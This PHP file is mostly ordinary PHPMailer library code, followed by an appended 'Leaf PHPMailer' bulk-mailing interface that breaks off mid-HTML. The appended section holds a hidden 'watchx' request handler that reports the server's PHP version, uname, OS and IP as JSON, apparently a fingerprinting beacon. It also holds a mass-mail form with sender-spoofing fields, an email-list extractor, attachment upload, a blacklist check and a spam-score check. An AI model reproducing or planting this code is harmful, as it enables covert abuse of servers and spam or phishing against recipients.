    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
